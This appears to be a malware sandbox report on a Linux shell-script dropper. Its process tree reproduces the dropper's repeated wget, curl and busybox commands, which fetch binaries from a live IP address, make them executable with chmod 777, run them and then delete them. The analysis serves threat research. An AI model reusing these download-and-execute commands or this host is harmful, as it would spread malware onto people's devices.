Analysis

  • max time kernel
    14s
  • max time network
    15s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/10/2024, 01:13

General

  • Target
    c4e0c84e4e7ae8d57a0394b4c4e8f1acbde06b4e90d462c9eb53007e0513570e.sh
  • Size 10KB
  • Sample241027-blgn6s1glb
  • SHA256 c4e0c84e4e7ae8d57a0394b4c4e8f1acbde06b4e90d462c9eb53007e0513570e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 30 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c4e0c84e4e7ae8d57a0394b4c4e8f1acbde06b4e90d462c9eb53007e0513570e.sh
    /tmp/c4e0c84e4e7ae8d57a0394b4c4e8f1acbde06b4e90d462c9eb53007e0513570e.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://87.120.126.196/bins/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
          2⤵
            PID:662
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:671
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
            2⤵
              PID:679
            • /bin/chmod
              chmod 777 YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
              2⤵
              • File and Directory Permissions Modification
              PID:683
            • /tmp/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
              ./YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
              2⤵
              • Executes dropped EXE
              PID:684
            • /bin/rm
              rm YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
              2⤵
                PID:685
              • /usr/bin/wget
                wget http://87.120.126.196/bins/mHKd2pqp5BiWfIyXlOBOYHtvoQLL0YL4fi
                2⤵
                  PID:686
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/mHKd2pqp5BiWfIyXlOBOYHtvoQLL0YL4fi
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:690
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/mHKd2pqp5BiWfIyXlOBOYHtvoQLL0YL4fi
                  2⤵
                    PID:692
                  • /bin/chmod
                    chmod 777 mHKd2pqp5BiWfIyXlOBOYHtvoQLL0YL4fi
                    2⤵
                    • File and Directory Permissions Modification
                    PID:693
                  • /tmp/mHKd2pqp5BiWfIyXlOBOYHtvoQLL0YL4fi
                    ./mHKd2pqp5BiWfIyXlOBOYHtvoQLL0YL4fi
                    2⤵
                    • Executes dropped EXE
                    PID:694
                  • /bin/rm
                    rm mHKd2pqp5BiWfIyXlOBOYHtvoQLL0YL4fi
                    2⤵
                      PID:695
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/oD39Py8jDILz8Ly7gIm9lZJqxCvDNA6USY
                      2⤵
                        PID:696
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/oD39Py8jDILz8Ly7gIm9lZJqxCvDNA6USY
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:697
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/oD39Py8jDILz8Ly7gIm9lZJqxCvDNA6USY
                        2⤵
                          PID:700
                        • /bin/chmod
                          chmod 777 oD39Py8jDILz8Ly7gIm9lZJqxCvDNA6USY
                          2⤵
                          • File and Directory Permissions Modification
                          PID:703
                        • /tmp/oD39Py8jDILz8Ly7gIm9lZJqxCvDNA6USY
                          ./oD39Py8jDILz8Ly7gIm9lZJqxCvDNA6USY
                          2⤵
                          • Executes dropped EXE
                          PID:705
                        • /bin/rm
                          rm oD39Py8jDILz8Ly7gIm9lZJqxCvDNA6USY
                          2⤵
                            PID:706
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/1yXu9frWEqMx7khpKZuUt2Jj5HqM5L59XX
                            2⤵
                              PID:707
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/1yXu9frWEqMx7khpKZuUt2Jj5HqM5L59XX
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:712
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/1yXu9frWEqMx7khpKZuUt2Jj5HqM5L59XX
                              2⤵
                                PID:717
                              • /bin/chmod
                                chmod 777 1yXu9frWEqMx7khpKZuUt2Jj5HqM5L59XX
                                2⤵
                                • File and Directory Permissions Modification
                                PID:720
                              • /tmp/1yXu9frWEqMx7khpKZuUt2Jj5HqM5L59XX
                                ./1yXu9frWEqMx7khpKZuUt2Jj5HqM5L59XX
                                2⤵
                                • Executes dropped EXE
                                PID:722
                              • /bin/rm
                                rm 1yXu9frWEqMx7khpKZuUt2Jj5HqM5L59XX
                                2⤵
                                  PID:723
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/NM6PzaPYUE05KJkff7f3dZhf3aPYuu3IHj
                                  2⤵
                                    PID:724
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/NM6PzaPYUE05KJkff7f3dZhf3aPYuu3IHj
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:729
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/NM6PzaPYUE05KJkff7f3dZhf3aPYuu3IHj
                                    2⤵
                                      PID:734
                                    • /bin/chmod
                                      chmod 777 NM6PzaPYUE05KJkff7f3dZhf3aPYuu3IHj
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:737
                                    • /tmp/NM6PzaPYUE05KJkff7f3dZhf3aPYuu3IHj
                                      ./NM6PzaPYUE05KJkff7f3dZhf3aPYuu3IHj
                                      2⤵
                                      • Executes dropped EXE
                                      PID:739
                                    • /bin/rm
                                      rm NM6PzaPYUE05KJkff7f3dZhf3aPYuu3IHj
                                      2⤵
                                        PID:740
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/5o40sZSS5c82q2n2WgGIPVJU5MgtNu8Cfi
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:741
                                      • /usr/bin/curl
                                        curl -O http://87.120.126.196/bins/5o40sZSS5c82q2n2WgGIPVJU5MgtNu8Cfi
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:746
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.126.196/bins/5o40sZSS5c82q2n2WgGIPVJU5MgtNu8Cfi
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:754
                                      • /bin/chmod
                                        chmod 777 5o40sZSS5c82q2n2WgGIPVJU5MgtNu8Cfi
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:757
                                      • /tmp/5o40sZSS5c82q2n2WgGIPVJU5MgtNu8Cfi
                                        ./5o40sZSS5c82q2n2WgGIPVJU5MgtNu8Cfi
                                        2⤵
                                        • Executes dropped EXE
                                        • System Network Configuration Discovery
                                        PID:758
                                      • /bin/rm
                                        rm 5o40sZSS5c82q2n2WgGIPVJU5MgtNu8Cfi
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:759
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/CcB2CdscO6sXPF2BwyQ4iXmAl6bf2fBpNu
                                        2⤵
                                          PID:761
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/CcB2CdscO6sXPF2BwyQ4iXmAl6bf2fBpNu
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:765
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/CcB2CdscO6sXPF2BwyQ4iXmAl6bf2fBpNu
                                          2⤵
                                            PID:767
                                          • /bin/chmod
                                            chmod 777 CcB2CdscO6sXPF2BwyQ4iXmAl6bf2fBpNu
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:768
                                          • /tmp/CcB2CdscO6sXPF2BwyQ4iXmAl6bf2fBpNu
                                            ./CcB2CdscO6sXPF2BwyQ4iXmAl6bf2fBpNu
                                            2⤵
                                            • Executes dropped EXE
                                            PID:769
                                          • /bin/rm
                                            rm CcB2CdscO6sXPF2BwyQ4iXmAl6bf2fBpNu
                                            2⤵
                                              PID:770
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/8aV2jzowldhs3sfi6467TAPN2keMhNmeNB
                                              2⤵
                                                PID:771
                                              • /usr/bin/curl
                                                curl -O http://87.120.126.196/bins/8aV2jzowldhs3sfi6467TAPN2keMhNmeNB
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:772
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.126.196/bins/8aV2jzowldhs3sfi6467TAPN2keMhNmeNB
                                                2⤵
                                                  PID:773
                                                • /bin/chmod
                                                  chmod 777 8aV2jzowldhs3sfi6467TAPN2keMhNmeNB
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:778
                                                • /tmp/8aV2jzowldhs3sfi6467TAPN2keMhNmeNB
                                                  ./8aV2jzowldhs3sfi6467TAPN2keMhNmeNB
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:779
                                                • /bin/rm
                                                  rm 8aV2jzowldhs3sfi6467TAPN2keMhNmeNB
                                                  2⤵
                                                    PID:780
                                                  • /usr/bin/wget
                                                    wget http://87.120.126.196/bins/JSxFTDIog8MP1XytEMqgwD3Rpr0PMKt8ig
                                                    2⤵
                                                      PID:781
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.126.196/bins/JSxFTDIog8MP1XytEMqgwD3Rpr0PMKt8ig
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:786
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.126.196/bins/JSxFTDIog8MP1XytEMqgwD3Rpr0PMKt8ig
                                                      2⤵
                                                        PID:791
                                                      • /bin/chmod
                                                        chmod 777 JSxFTDIog8MP1XytEMqgwD3Rpr0PMKt8ig
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:794
                                                      • /tmp/JSxFTDIog8MP1XytEMqgwD3Rpr0PMKt8ig
                                                        ./JSxFTDIog8MP1XytEMqgwD3Rpr0PMKt8ig
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:795
                                                      • /bin/rm
                                                        rm JSxFTDIog8MP1XytEMqgwD3Rpr0PMKt8ig
                                                        2⤵
                                                          PID:796
                                                        • /usr/bin/wget
                                                          wget http://87.120.126.196/bins/mb7rN9p48Zg6vz9xXsbnO8tG8I7eqxGCBP
                                                          2⤵
                                                            PID:798
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.126.196/bins/mb7rN9p48Zg6vz9xXsbnO8tG8I7eqxGCBP
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:803
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.126.196/bins/mb7rN9p48Zg6vz9xXsbnO8tG8I7eqxGCBP
                                                            2⤵
                                                              PID:809
                                                            • /bin/chmod
                                                              chmod 777 mb7rN9p48Zg6vz9xXsbnO8tG8I7eqxGCBP
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:813
                                                            • /tmp/mb7rN9p48Zg6vz9xXsbnO8tG8I7eqxGCBP
                                                              ./mb7rN9p48Zg6vz9xXsbnO8tG8I7eqxGCBP
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:814
                                                            • /bin/rm
                                                              rm mb7rN9p48Zg6vz9xXsbnO8tG8I7eqxGCBP
                                                              2⤵
                                                                PID:816
                                                              • /usr/bin/wget
                                                                wget http://87.120.126.196/bins/3m6uk4SJpi0QC84h1zrOyAY2hSvhjl6rEK
                                                                2⤵
                                                                  PID:817
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.126.196/bins/3m6uk4SJpi0QC84h1zrOyAY2hSvhjl6rEK
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:820
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.126.196/bins/3m6uk4SJpi0QC84h1zrOyAY2hSvhjl6rEK
                                                                  2⤵
                                                                    PID:821
                                                                  • /bin/chmod
                                                                    chmod 777 3m6uk4SJpi0QC84h1zrOyAY2hSvhjl6rEK
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:822
                                                                  • /tmp/3m6uk4SJpi0QC84h1zrOyAY2hSvhjl6rEK
                                                                    ./3m6uk4SJpi0QC84h1zrOyAY2hSvhjl6rEK
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:823
                                                                  • /bin/rm
                                                                    rm 3m6uk4SJpi0QC84h1zrOyAY2hSvhjl6rEK
                                                                    2⤵
                                                                      PID:824
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.126.196/bins/E8ut4T3CZX3e7Vjw0YhjmXTgpVXuqtSyXQ
                                                                      2⤵
                                                                        PID:825
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.126.196/bins/E8ut4T3CZX3e7Vjw0YhjmXTgpVXuqtSyXQ
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:826
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.126.196/bins/E8ut4T3CZX3e7Vjw0YhjmXTgpVXuqtSyXQ
                                                                        2⤵
                                                                          PID:827
                                                                        • /bin/chmod
                                                                          chmod 777 E8ut4T3CZX3e7Vjw0YhjmXTgpVXuqtSyXQ
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:828
                                                                        • /tmp/E8ut4T3CZX3e7Vjw0YhjmXTgpVXuqtSyXQ
                                                                          ./E8ut4T3CZX3e7Vjw0YhjmXTgpVXuqtSyXQ
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:829
                                                                        • /bin/rm
                                                                          rm E8ut4T3CZX3e7Vjw0YhjmXTgpVXuqtSyXQ
                                                                          2⤵
                                                                            PID:830
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.126.196/bins/OHPwaoYOQZi2AC0SoKddm0haaX1EbNnOz2
                                                                            2⤵
                                                                              PID:831
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.126.196/bins/OHPwaoYOQZi2AC0SoKddm0haaX1EbNnOz2
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:832
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.126.196/bins/OHPwaoYOQZi2AC0SoKddm0haaX1EbNnOz2
                                                                              2⤵
                                                                                PID:833
                                                                              • /bin/chmod
                                                                                chmod 777 OHPwaoYOQZi2AC0SoKddm0haaX1EbNnOz2
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:834
                                                                              • /tmp/OHPwaoYOQZi2AC0SoKddm0haaX1EbNnOz2
                                                                                ./OHPwaoYOQZi2AC0SoKddm0haaX1EbNnOz2
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:835
                                                                              • /bin/rm
                                                                                rm OHPwaoYOQZi2AC0SoKddm0haaX1EbNnOz2
                                                                                2⤵
                                                                                  PID:836
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.126.196/bins/vWalcKtm2Qgi46n9ODC8oDtdmhaIu3XGvO
                                                                                  2⤵
                                                                                    PID:837
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.126.196/bins/vWalcKtm2Qgi46n9ODC8oDtdmhaIu3XGvO
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:838
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.126.196/bins/vWalcKtm2Qgi46n9ODC8oDtdmhaIu3XGvO
                                                                                    2⤵
                                                                                      PID:839
                                                                                    • /bin/chmod
                                                                                      chmod 777 vWalcKtm2Qgi46n9ODC8oDtdmhaIu3XGvO
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:840
                                                                                    • /tmp/vWalcKtm2Qgi46n9ODC8oDtdmhaIu3XGvO
                                                                                      ./vWalcKtm2Qgi46n9ODC8oDtdmhaIu3XGvO
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:841
                                                                                    • /bin/rm
                                                                                      rm vWalcKtm2Qgi46n9ODC8oDtdmhaIu3XGvO
                                                                                      2⤵
                                                                                        PID:842
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.126.196/bins/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
                                                                                        2⤵
                                                                                          PID:843
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://87.120.126.196/bins/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:844
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://87.120.126.196/bins/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
                                                                                          2⤵
                                                                                            PID:845
                                                                                          • /bin/chmod
                                                                                            chmod 777 YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:846
                                                                                          • /tmp/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
                                                                                            ./YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:847
                                                                                          • /bin/rm
                                                                                            rm YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
                                                                                            2⤵
                                                                                              PID:848
                                                                                            • /usr/bin/wget
                                                                                              wget http://87.120.126.196/bins/mHKd2pqp5BiWfIyXlOBOYHtvoQLL0YL4fi
                                                                                              2⤵
                                                                                                PID:849

                                                                                            Network

                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                  Replay Monitor

                                                                                                  Loading Replay Monitor...

                                                                                                  Downloads

                                                                                                  YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA

                                                                                                  • Path /tmp/YQ3uPzBdWebci3QnCPmvv36TLwSZvQHvaA
                                                                                                  • Size 153B
                                                                                                  • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                                  • MD5 SHA1 SHA512